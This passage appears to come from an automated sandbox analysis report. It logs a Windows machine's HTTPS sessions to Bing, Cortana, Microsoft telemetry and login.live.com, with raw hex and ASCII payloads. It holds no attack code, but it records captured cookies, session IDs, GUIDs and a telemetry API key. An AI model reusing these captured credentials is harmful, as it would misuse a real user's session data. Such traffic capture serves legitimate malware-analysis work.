2024-10-23 22:27:00 UTC	6793	IN	Data Raw: 69 6f 6e 53 74 61 72 74 2c 69 29 2c 79 74 3d 74 28 6f 2e 63 6f 6e 6e 65 63 74 45 6e 64 2c 69 29 2c 70 74 3d 74 28 6f 2e 72 65 71 75 65 73 74 53 74 61 72 74 2c 69 29 2c 77 74 3d 74 28 6f 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 2c 69 29 2c 62 74 3d 74 28 6f 2e 72 65 73 70 6f 6e 73 65 45 6e 64 2c 69 29 2c 6f 74 3d 6e 75 6c 6c 2c 73 74 3d 6e 2e 6c 61 79 6f 75 74 28 29 3b 66 6f 72 28 74 74 3d 30 3b 74 74 3c 73 74 2e 6c 65 6e 67 74 68 3b 74 74 2b 2b 29 7b 76 61 72 20 62 3d 73 74 5b 74 74 5d 2c 64 74 3d 62 2e 5f 65 2c 68 74 3d 62 2e 5f 73 3b 69 66 28 68 74 26 26 67 3d 3d 3d 68 74 29 7b 6f 74 3d 62 2e 69 3b 62 2e 78 3c 68 2e 77 26 26 62 2e 79 3c 68 2e 68 26 26 28 66 3d 65 74 29 3b 62 72 65 61 6b 7d 7d 72 74 3d 7b 5f 72 3a 6f 2c 74 3a 65 74 2c 69 3a 70 2e 6c 65 Data Ascii: ionStart,i),yt=t(o.connectEnd,i),pt=t(o.requestStart,i),wt=t(o.responseStart,i),bt=t(o.responseEnd,i),ot=null,st=n.layout();for(tt=0;tt<st.length;tt++){var b=st[tt],dt=b._e,ht=b._s;if(ht&&g===ht){ot=b.i;b.x<h.w&&b.y<h.h&&(f=et);break}}rt={_r:o,t:et,i:p.le

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.16	49749	204.79.197.222	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:00 UTC	462	OUT	GET /conf/v2/asgw/fpconfig.min.json?monitorId=asgw HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: fp.msedge.net Connection: Keep-Alive
2024-10-23 22:27:00 UTC	427	IN	HTTP/1.1 200 OK Cache-Control: public,max-age=900 Content-Length: 20076 Content-Type: application/json; charset=utf-8 ETag: "94098457" Access-Control-Allow-Origin: * Request-Context: appId=cid-v1:b183296d-485b-49fc-81c7-a511e61d1309 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 1741B3DB5AAF4454B77DB52BDA64D8F1 Ref B: DFW30EDGE0310 Ref C: 2024-10-23T22:27:00Z Date: Wed, 23 Oct 2024 22:27:00 GMT Connection: close
2024-10-23 22:27:00 UTC	3752	IN	Data Raw: 7b 22 73 22 3a 35 30 30 30 2c 22 6e 22 3a 33 2c 22 65 22 3a 5b 7b 22 65 22 3a 22 2a 2e 61 7a 72 2e 66 6f 6f 74 70 72 69 6e 74 64 6e 73 2e 63 6f 6d 22 2c 22 77 22 3a 35 30 30 30 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 2a 2e 63 6c 6f 2e 66 6f 6f 74 70 72 69 6e 74 64 6e 73 2e 63 6f 6d 22 2c 22 77 22 3a 32 30 30 30 2c 22 6d 22 3a 31 7d 2c 7b 22 65 22 3a 22 2a 2e 63 6c 6f 2e 66 6f 6f 74 70 72 69 6e 74 64 6e 73 2e 63 6f 6d 22 2c 22 77 22 3a 31 30 30 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 2a 2e 6e 72 62 2e 66 6f 6f 74 70 72 69 6e 74 64 6e 73 2e 63 6f 6d 22 2c 22 77 22 3a 34 32 30 2c 22 6d 22 3a 33 7d 2c 7b 22 65 22 3a 22 61 66 64 78 74 65 73 74 2e 7a 30 31 2e 61 7a 75 72 65 66 64 2e 6e 65 74 22 2c 22 77 22 3a 35 30 30 2c 22 6d 22 3a 31 7d 2c 7b Data Ascii: {"s":5000,"n":3,"e":[{"e":".azr.footprintdns.com","w":5000,"m":128},{"e":".clo.footprintdns.com","w":2000,"m":1},{"e":".clo.footprintdns.com","w":100,"m":128},{"e":".nrb.footprintdns.com","w":420,"m":3},{"e":"afdxtest.z01.azurefd.net","w":500,"m":1},{
2024-10-23 22:27:00 UTC	48	IN	Data Raw: 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 63 70 71 32 35 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2d Data Ascii: .com","w":3,"m":128},{"e":"cpq25prdapp02-canary-
2024-10-23 22:27:00 UTC	4096	IN	Data Raw: 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 63 71 31 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 63 2d 72 69 6e 67 2e 6d 73 65 64 67 65 2e 6e 65 74 22 2c 22 77 22 3a 32 30 30 30 2c 22 6d 22 3a 33 7d 2c 7b 22 65 22 3a 22 63 2d 72 69 6e 67 2d 66 61 6c 6c 62 61 63 6b 2e 6d 73 65 64 67 65 2e 6e 65 74 22 2c 22 77 22 3a 35 30 2c 22 6d 22 3a 33 7d 2c 7b 22 65 22 3a 22 63 76 6c 30 32 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 7d 2c 7b 22 65 22 3a Data Ascii: opaph.netmon.azure.com","w":3,"m":128},{"e":"cq1prdapp01-canary.netmon.azure.com","w":3,"m":128},{"e":"c-ring.msedge.net","w":2000,"m":3},{"e":"c-ring-fallback.msedge.net","w":50,"m":3},{"e":"cvl02prdapp01-canary-opaph.netmon.azure.com","w":3,"m":1},{"e":
2024-10-23 22:27:00 UTC	4096	IN	Data Raw: 66 72 61 32 32 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 66 72 61 32 33 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 66 72 61 32 33 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 67 72 61 70 68 2e 61 7a 75 72 65 66 64 2e 6e 65 74 22 2c 22 77 22 3a 31 2c 22 6d 22 3a 31 7d 2c 7b 22 65 22 3a 22 67 72 61 70 68 2e 61 7a 75 72 65 66 64 2e 6e 65 74 22 2c Data Ascii: fra22prdapp02-canary-opaph.netmon.azure.com","w":3,"m":128},{"e":"fra23prdapp01-canary-opaph.netmon.azure.com","w":3,"m":128},{"e":"fra23prdapp02-canary-opaph.netmon.azure.com","w":3,"m":128},{"e":"graph.azurefd.net","w":1,"m":1},{"e":"graph.azurefd.net",
2024-10-23 22:27:00 UTC	4096	IN	Data Raw: 30 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 7d 2c 7b 22 65 22 3a 22 6e 61 67 32 30 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 7d 2c 7b 22 65 22 3a 22 6e 61 67 32 30 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 6e 61 67 32 30 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a Data Ascii: 0prdapp01-canary-opaph.netmon.azure.com","w":3,"m":1},{"e":"nag20prdapp01-canary-opaph.netmon.azure.com","w":3,"m":1},{"e":"nag20prdapp01-canary-opaph.netmon.azure.com","w":3,"m":128},{"e":"nag20prdapp02-canary-opaph.netmon.azure.com","w":3,"m":128},{"e":
2024-10-23 22:27:00 UTC	3988	IN	Data Raw: 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 73 6a 63 32 32 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 73 6e 34 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 73 6e 35 61 7a 66 61 70 70 30 31 2d 63 61 6e 61 72 79 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 75 73 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 73 6e 35 61 7a 66 61 70 70 30 32 2d 63 61 6e 61 72 79 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 75 73 22 2c 22 77 22 3a 33 2c Data Ascii: etmon.azure.com","w":3,"m":128},{"e":"sjc22prdapp02-canary.netmon.azure.com","w":3,"m":128},{"e":"sn4prdapp01-canary.netmon.azure.com","w":3,"m":128},{"e":"sn5azfapp01-canary.netmon.azure.us","w":3,"m":128},{"e":"sn5azfapp02-canary.netmon.azure.us","w":3,

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.16	49748	51.104.15.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:00 UTC	684	OUT	POST /Collector/3.0/?qsp=true&content-type=application%2Fbond-compact-binary&client-id=NO_AUTH&sdk-version=AWT-Web-CJS-1.2.0&x-apikey=33d70a864599496b982a39f036f71122-2064703e-3a9d-4d90-8362-eec08dffe8e8-7176 HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: browser.pipe.aria.microsoft.com Content-Length: 987 Connection: Keep-Alive Cache-Control: no-cache
2024-10-23 22:27:00 UTC	987	OUT	Data Raw: 6d 09 0b 01 4a 33 33 64 37 30 61 38 36 34 35 39 39 34 39 36 62 39 38 32 61 33 39 66 30 33 36 66 37 31 31 32 32 2d 32 30 36 34 37 30 33 65 2d 33 61 39 64 2d 34 64 39 30 2d 38 33 36 32 2d 65 65 63 30 38 64 66 66 65 38 65 38 2d 37 31 37 36 0a 01 49 12 61 63 74 5f 64 65 66 61 75 6c 74 5f 73 6f 75 72 63 65 a9 24 38 38 63 34 32 33 65 63 2d 66 31 35 33 2d 34 34 34 35 2d 61 36 63 34 2d 62 35 65 62 32 39 63 61 62 36 31 33 d1 06 a0 8a ec b7 d7 64 cb 08 0a 01 29 24 32 36 35 37 36 30 34 38 2d 61 30 61 34 2d 34 35 33 34 2d 39 61 36 34 2d 35 31 65 37 61 33 31 39 30 34 39 63 71 be fa eb b7 d7 64 a9 14 63 75 73 74 6f 6d 2e 43 6c 69 65 6e 74 5f 45 76 65 6e 74 73 c9 06 0e 76 61 72 69 61 6e 74 5f 65 76 65 6e 74 73 cd 0d 09 09 19 0a 64 65 76 69 63 65 54 79 70 65 07 44 45 53 Data Ascii: mJ33d70a864599496b982a39f036f71122-2064703e-3a9d-4d90-8362-eec08dffe8e8-7176Iact_default_source$88c423ec-f153-4445-a6c4-b5eb29cab613d)$26576048-a0a4-4534-9a64-51e7a319049cqdcustom.Client_Eventsvariant_eventsdeviceTypeDES
2024-10-23 22:27:00 UTC	462	IN	HTTP/1.1 200 OK Content-Length: 0 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 time-delta-millis: 2584 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST Access-Control-Allow-Headers: Accept, Content-Type, Content-Encoding, Client-Id Access-Control-Expose-Headers: kill-tokens, kill-duration-seconds, time-delta-millis Date: Wed, 23 Oct 2024 22:27:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.16	49751	23.1.33.206	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:00 UTC	801	OUT	GET /rb/1a/cir3,ortl,cc,nc/f4st08wpuYBQ5KWRJ3MqAsJB8zg.css?bu=C8kJogO5BKUKign0CPoGWVlZWQ&or=w HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=f66a65f7&IPMID=1707317782133
2024-10-23 22:27:00 UTC	1211	IN	HTTP/1.1 200 OK Content-Type: text/css; charset=utf-8 Server: Kestrel Access-Control-Allow-Headers: * Access-Control-Allow-Origin: * Last-Modified: Fri, 18 Oct 2024 13:56:02 GMT X-EventID: 6718cb5d779f43c68f6f0fd1a67b59b4 UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-AS-InstrumentationOptions: AppServerLoggingMaster=1 X-AS-MACHINENAME: BNZEEAP00016A72 X-AS-SuppressSetCookie: 1 X-XSS-Protection: 0 cross-origin-resource-policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.75} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingrms"}]} Cache-Control: public, max-age=387723 Expires: Mon, 28 Oct 2024 10:09:03 GMT Date: Wed, 23 Oct 2024 22:27:00 GMT Content-Length: 20329 Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.91200117.1729722420.44159bd7 Timing-Allow-Origin: *
2024-10-23 22:27:00 UTC	15173	IN	Data Raw: 2e 73 77 5f 70 6c 75 73 2c 2e 73 77 5f 75 70 2c 2e 73 77 5f 64 6f 77 6e 2c 2e 73 77 5f 73 74 2c 2e 73 77 5f 73 74 68 2c 2e 73 77 5f 73 74 65 2c 2e 73 77 5f 74 70 63 62 6b 2c 2e 73 77 5f 70 6c 61 79 2c 2e 73 77 5f 70 6c 61 79 64 2c 2e 73 77 5f 70 6c 61 79 61 2c 2e 73 77 5f 70 6c 61 79 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 4d 44 4c 32 20 41 73 73 65 74 73 22 7d 2e 73 77 5f 70 6c 75 73 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 ee 9c 90 22 7d 2e 73 77 5f 70 6c 61 79 3a 61 66 74 65 72 2c 2e 73 77 5f 70 6c 61 79 61 3a 61 66 74 65 72 2c 2e 73 77 5f 70 6c 61 79 64 3a 61 66 74 65 72 2c 2e 73 77 5f 70 6c 61 79 70 3a 61 66 74 65 72 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 70 78 3b 63 6f Data Ascii: .sw_plus,.sw_up,.sw_down,.sw_st,.sw_sth,.sw_ste,.sw_tpcbk,.sw_play,.sw_playd,.sw_playa,.sw_playp{font-family:"Segoe MDL2 Assets"}.sw_plus:after{content:""}.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after{font-size:16px;line-height:16px;co
2024-10-23 22:27:00 UTC	5156	IN	Data Raw: 61 6c 67 6f 2b 73 63 72 69 70 74 2b 73 63 72 69 70 74 2b 2e 62 5f 61 6e 73 2c 62 6f 64 79 5b 64 69 72 5d 20 23 62 5f 72 65 73 75 6c 74 73 3e 2e 62 5f 6e 61 76 2b 73 63 72 69 70 74 2b 73 63 72 69 70 74 2b 2e 62 5f 61 6c 67 6f 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 70 78 7d 62 6f 64 79 5b 64 69 72 5d 20 23 62 5f 72 65 73 75 6c 74 73 3e 6c 69 3e 2a 3a 6c 61 73 74 2d 63 68 69 6c 64 2c 62 6f 64 79 5b 64 69 72 5d 20 2e 62 5f 63 61 70 74 69 6f 6e 3e 2a 3a 6c 61 73 74 2d 63 68 69 6c 64 2c 62 6f 64 79 5b 64 69 72 5d 20 2e 76 6c 69 73 74 3e 6c 69 3a 6c 61 73 74 2d 63 68 69 6c 64 2c 62 6f 64 79 5b 64 69 72 5d 20 2e 62 5f 76 50 61 6e 65 6c 3e 6c 69 3a 6c 61 73 74 2d 63 68 69 6c 64 2c 62 6f 64 79 5b 64 69 72 5d 20 2e 6c 66 74 3e 2a 3a 6c 61 73 74 2d 63 68 69 6c 64 7b Data Ascii: algo+script+script+.b_ans,body[dir] #b_results>.b_nav+script+script+.b_algo{margin-top:4px}body[dir] #b_results>li>:last-child,body[dir] .b_caption>:last-child,body[dir] .vlist>li:last-child,body[dir] .b_vPanel>li:last-child,body[dir] .lft>*:last-child{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49752	20.190.159.23	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:01 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-10-23 22:27:01 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-23 22:27:01 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 23 Oct 2024 22:26:01 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BL2 x-ms-request-id: 67b63a15-64bc-46b1-8d60-b249e2955361 PPServer: PPV: 30 H: BL02EPF0001D6E9 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 23 Oct 2024 22:27:01 GMT Connection: close Content-Length: 11412
2024-10-23 22:27:01 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.16	49753	23.1.33.206	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:01 UTC	791	OUT	GET /rb/1a/cir3,ortl,cc,nc/yy4SnZtT2-rfsZpLbcm-u8xyafQ.css?bu=B8MCRLEClgFZWc4C&or=w HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=f66a65f7&IPMID=1707317782133
2024-10-23 22:27:01 UTC	1210	IN	HTTP/1.1 200 OK Content-Type: text/css; charset=utf-8 Server: Kestrel Access-Control-Allow-Headers: * Access-Control-Allow-Origin: * Last-Modified: Fri, 18 Oct 2024 13:57:11 GMT X-EventID: 6718cb5d77c54a208f6e83112a53c32d UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-AS-InstrumentationOptions: AppServerLoggingMaster=1 X-AS-MACHINENAME: BNZEEAP00016B35 X-AS-SuppressSetCookie: 1 X-XSS-Protection: 0 cross-origin-resource-policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.75} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingrms"}]} Cache-Control: public, max-age=387710 Expires: Mon, 28 Oct 2024 10:08:51 GMT Date: Wed, 23 Oct 2024 22:27:01 GMT Content-Length: 5983 Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.8f200117.1729722421.9e18d4e0 Timing-Allow-Origin: *
2024-10-23 22:27:01 UTC	5983	IN	Data Raw: 2e 62 5f 73 65 61 72 63 68 62 6f 78 53 75 62 6d 69 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 72 70 2f 34 69 5a 49 7a 5f 6f 41 4c 31 79 70 37 64 69 5f 36 44 39 65 32 65 6e 58 69 4d 4d 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 2d 34 32 70 78 20 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 33 32 30 70 78 20 33 38 70 78 7d 2e 62 5f 6c 6f 67 6f 7b 77 69 64 74 68 3a 32 32 70 78 3b 68 65 69 67 68 74 3a 33 37 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 7d 2e 62 5f 6c 6f 67 6f 3a 61 66 74 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 64 Data Ascii: .b_searchboxSubmit{background:url(/rp/4iZIz_oAL1yp7di_6D9e2enXiMM.png) no-repeat -42px 0;background-size:320px 38px}.b_logo{width:22px;height:37px;position:relative;display:inline-block;overflow:hidden;direction:ltr}.b_logo:after{position:absolute;top:0;d

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.16	49754	204.79.197.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:27:01 UTC	1076	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-MSEdge-ExternalExp: d-thshld42,dsbdailyset_c,expmegaclick_cf,hashexpt3,iffsqloptwin10c,msbdsbedu9cf,wsbqfnewsynonym,wsbref-t,wsbswgc-t2 X-MSEdge-ExternalExpType: JointCoord Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 9614 Connection: Keep-Alive Cache-Control: no-cache Cookie: 